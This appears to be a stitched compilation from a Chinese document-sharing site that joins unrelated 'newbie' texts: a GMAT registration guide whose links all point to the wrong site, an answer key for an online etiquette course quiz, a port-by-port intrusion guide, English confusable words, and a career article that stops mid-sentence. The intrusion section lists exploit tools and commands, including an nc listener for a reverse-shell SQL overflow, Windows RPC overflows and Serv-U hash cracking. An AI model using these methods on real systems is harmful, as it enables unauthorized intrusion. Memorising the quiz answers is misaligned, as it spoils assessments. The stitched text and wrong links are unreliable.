GMAT报名菜鸟级详细过程来源：耿园的日志作者按：在折腾了好几天之后，我终于成功的报上了GMAT。虽然现在看来过程并不复杂，但是当时苦于网上、包括CD上竟然都没有一份详详细细的“报名攻略”之类的东西，还是走了不少弯路，我知道身边好多人都要考GMAT留美的，特此将报名过程整理一下，以飨后来人。顺便攒RP。绝对原创，还有问题也可以问我~ 一、前期准备 1、护照。在https://www.360docs.net/doc/b92435002.html,这个网站注册的时候要求填写与护照一致的个人信息，什么first name、family name、date of birth这些。即使大家都知道自己的姓名和生日，但还是等护照在手的时候注册心里比较有底，万一护照办理过程中出了什么问题呢，天朝的事儿，谁也说不准。 2、中国工商银行或招商银行的银行卡和网上银行。中国考生只能通过这两家银行缴纳考试费。如果你是VISA卡（据说是卡号是以4或5开头的，银联卡不一定是VISA卡），那么你可以直接在GMAT的官网上缴费，那就很简单，直接报名就好；如果不是，你就需要通过教育部缴费了。我觉得大多数人的银行卡应该都不是VISA的，所以我要说的就是“不是VISA 卡”这种恶心的情况了。 3、E-mail。这个我都不想写了……但是为了以防万一……= = 二、进入正题在报名的过程当中有三个网站是至关重要的，我们会不断用到。 ①https://www.360docs.net/doc/b92435002.html, ——The official GMAT web site ②https://www.360docs.net/doc/b92435002.html,/neea ——Take the GMAT in China ③https://www.360docs.net/doc/b92435002.html,/content/signup_step/index.html ——教育部考试中心GMAT报名其实在第三个网站上有报名步骤，但是我觉得还不够详细不够菜鸟不够亲民啊，至少以我的智商，甚是大费了一番周章。 1、在https://www.360docs.net/doc/b92435002.html,/网站上注册（1）到网站上直接点一个绿色的login按钮，看到new user registration就可以注册了。（2）在name & address里， ①middle name没有不用填；

智慧树职场菜鸟礼仪课后答案.docx

职场菜鸟礼仪指南智慧树期末考试答案第一章单元测试 1【单选题】（1 分）礼仪的根本是什么？（ C ） A. 形象 B. 交流 C. 尊重 D. 自信 2 【单选题】（1 分）“不学礼，无以立”是谁说的？（ B ） A. 老子 B.孔子C 墨子D. 庄子 3【单选题】（1 分）讲礼仪的作用是（ A ）。 A. 内强素质、外塑形象、增进交往 B. 加强素质、外塑形象、增进交往 C. 内强素质、外塑形象、增强友谊 D. 加强素质、外塑形象、增强友谊4 【单选题】（1 分）国际社会公认的“第一礼俗”是（A ）。A. 女士优先B. 尊重原则C. 宽容原则 D. 平等原则 5 【多选题】（1 分）礼仪的含义指的是？（ABCD）A. 礼节B. 礼貌C. 仪式D. 仪表第二章单元测试 1 【单选题】（1 分）以下正确的基础皮肤护理流程为（B）。A. 洁面、精华、水、面霜、防嗮 B. 洁面、水、精华、面霜、防嗮 C. 洁面、水、面霜、精华、防嗮 D. 洁面、水、面霜、防嗮、精华 2 【单选题】（1 分）化妆品的选择要适合自己，眉笔可根据以下哪种颜色进行选择？（C ） A. 衣服的颜色 B. 自身的肤色 C. 头发的颜色 D. 眼睛的颜色 3 【单选题】（1 分）在正式的商务场合，女性不能留披肩发，其头发最长不应长于？（B） A. 耳部 B. 颈部 C. 腰部 D. 肩部 4 【单选题】（1 分）在正式场合，女士不化妆会被认为是不礼貌的，要是活动时间长了，应适当补妆，但要在（ B ）补妆。 A. 办公室 B. 洗手间 C. 公共场所 D. 会议室 5【多选题】（1分）职业着装的基本原则中，除了TPoR原则还有？（ABC A.干净整洁原则 B. “讲究”原则 C. 协调原则 D. 时尚美观原则 6 【多选题】（1 分）符合女士西装套裙着装规范的有？（ABD）A. 大小适度，穿着到位 B. 搭配适当，装饰协调 C. 颜色鲜艳，款式时髦 D. 内衣忌露，鞋袜得体 7 【多选题】（1 分）佩戴饰品的重要原则是？（ACD）A. 少则美B. 夸张大气C. 扬长避短 D. 搭配合理 8 【多选题】（1 分）男子着西装的“三个三”是指？（BCD）A. 三大统一B. 三一定律 C. 三大禁忌 D. 三色原则 9【多选题】（1分）护肤品要根据自己的肤质来选择，那么皮肤一般分为（ABCD）几种类型？ A.干性和油性皮肤 B.中性皮肤 C.混合性皮肤 D.敏感性性皮肤 10 【单选题】（1 分）正式交往场合我们的仪容仪表要给人（）的感觉。A. 随意、整齐、干净 B. 漂亮、美观、时髦 C. 端庄、大方、美观 D.随意、时髦、自信 11 【单选题】（1分）现代服饰礼仪TPOR原则中，T表示（）。A.时间（Time） B.领带（Tie） C. 色彩柔和（Tender） D. 类型（Type）正确A 12 【单选题】（1 分）正式场合着装，服饰整体不应超过（颜色。 A. 2 种 B. 3-4 种 C. 4 种以上 D. 1 种正确 B 13 【单选题】（1 分）男士衬衫的袖口长度应该正好到手腕的什么位置为宜?（）A. 以长出西装袖口1-2厘米为宜 B. 以短出西装袖口1-2 厘米为宜 C. 正好与西装袖口齐平D. 以短出西装袖口3-4 厘米为宜正确A 14 【单选题】（1 分）在商务礼仪中，男士西服如果是单排两粒扣子，那么扣子的系法应为？（） A. 两粒都系 B. 系上面第一粒 C. 系下面一粒 D. 全部敞开正确B

各个端口的入侵方法(入侵菜鸟必看)

各个端口的入侵方法（入侵菜鸟必看）1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破（字典是关键）最后SQLTools.exe入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口（以上反向的，测试成功） sqlhelloz.exe 入侵ip 1433 （这个是正向连接） 2. 4899端口入侵用4899过滤器.exe，扫描空口令的机器 3. 3899的入侵对很早的机器，可以试试3389的溢出(win3389ex.exe) 对2000的机器，可以试试字典暴破。(tscrack.exe) 4. 80入侵对sp3以前的机器，可以用webdav入侵；对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）可以利用SQL进行注入。（小榕的注入软件）。 5. serv-u入侵(21端口）对5. 004及以下系统，可用溢出入侵。（serv5004.exe）对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）

====================================== 对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码。如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A 6. 554端口用real554.exe入侵。 7. 6129端口用DameWare6129.exe入侵。 8. 系统漏洞利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，进行溢出入侵。 9. 3127等端口可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。 10. 其他入侵利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。各种端口的入侵方法1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破（字典是关键）最后SQLTool*.**e入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。

菜鸟级英语常用形近词

菜鸟级英语常用形近词看到下面这些英语常用形近词，你可能要开始怀疑自己是不是患有阅读障碍症了。英语中也有许多形近词，它们长得很像，很多是从同样的词根引申来的。也有许多八竿子打不到一起的形近词，还就是长得像了。不妨从简单的形近词入手，来一次形近词辨识吧！ apt形容词：非常合适的，有…倾向的【aptitude 资质、才能、自然倾向】adapt动词：适应 adept形容词：熟练的、擅长的；名词：专家 inapt形容词：不适当、不相配 inept形容词：不适当的、笨拙的 cement动词：连接、巩固；名词：水泥 clement形容词：仁慈的 fable名词：寓言、神话 affable形容词：和蔼的、温和的 fanatic 形容词：狂热的、着魔的；名词：（过分不合理的为某一目标）极端的狂热者 frantic 形容词：狂乱的；疯狂的 frenetic 形容词：狂乱的，发狂的（非常兴奋或激动） finite 形容词：（时间、空间）有限的；非永久性的

affinity 名词：喜欢、亲切感 infinite 形容词：无限的 haughty形容词：傲慢自大的（蔑视别人或以恩赐态度相待的） naughty形容词：顽皮的、不适当的、没规矩的 let动词：球触网重发、障碍；允许、出租、阻碍 amulet 名词：护身符 droplet名词：小水滴（let有“小”的意思。比如piglet是小猪） eaglet名词：幼鹰 omelet 名词：煎蛋卷 outlet 名词：出口 pamphlet 名词：小册子 ringlet 名词：卷发 lush 形容词：郁郁葱葱的；鲜美多汁的；肉感的 blush动词：脸红 flush 动词：冲洗 indolent形容词：懒洋洋的【dol=doll洋娃娃懒洋洋】 insolent形容词：鲁莽的 ovation 名词：热烈的欢迎鼓掌 oration 名词：演说 penetrate动词：刺穿＝pierce；了解＝understand【impenetrable 形容词：不能穿透的、不可理解的】 perpetrate 动词：犯（罪）＝commit perpetuate 动词：使永存不朽；使永记不忘 relinquish 动词：放弃 vanquish 动词：征服 reserve 名词、动词：保留、克制、沉默寡言 reverse 名词：相反；动词：颠倒；形容词：颠倒的 rim/ring 名词：边缘 rim名词：边框 brim 名词：（杯）边，缘；动词：盈满 grim 形容词：严厉的、坚定的 prim 形容词：端庄的、整洁的 prime 名词：全盛时期、形容词：最初的、原始的、最好的 primp动词：刻意打扮 trim 动词：修剪【t：剔除】

如何不做职场菜鸟

找专业人才，上一览浙江英才如何不做职场菜鸟核心提示：经验是实践所得，是宝贵的职业财富；但经验也都有它的局限，在你意识不到的时候突然冒出来，成为阻碍你发展的路障。因此，你需要对经验保持一个恰当的态度，利用它而不被它束缚手脚，依赖它的同时又怀有突破的勇气。一个人只有时刻保持对领域内新技术、新动向的敏感，坚持开放的心态、发展的眼光，培养不断学习的能力，尽早找到自己和未来的对接方式，才会在职场长久立足。资深职场人士和办公室菜鸟之间的差别有目共睹。除了年龄之外，仔细想想，还有哪些特征能让你能毫不犹豫地给他们贴上标签？有些差异是直观的，比如了解行业信息的深度和广度、人脉资源的活跃度和丰富度，也有些特质是内在的，比如待人接物的气度和遇到突发状况时的稳定度。

找专业人才，上一览浙江英才职业发展并不简单等同于职位晋升或者收入增加，它更重要的是一种自我成长。在这个过程中，知识和技能是相对容易掌握的，而观念的刷新则需要时间来打磨。被新技术撞了个跟头在出版物还停留在铅字印刷的年代，Y老师是设计界的一把好手。那时候还没有电脑，Y老师凭着一把尺子和几支铅笔，成为行业内小有名气的高手。装饰封面、绘制插图、设计美术字……找他帮忙的人络绎不绝。当时的Y老师30岁出头，擅长熬夜，脾气还好，在业内声誉极佳。日子一天一天过，今天和昨天看上去毫无差别。Y老师就这样一直写写画画，沿着设定好了的职业路线不断往前走。 Y老师自己也记不清那是一九九几年了，有人请他帮忙设计一个请柬。他熬了一个通宵，做出了一个“特别洋气”的设计，其中的亮点在于，用金色颜料在红色背景上勾画了一个人物的侧影素描。为了让自己的作品看起来更完美，第二天，Y老师拿着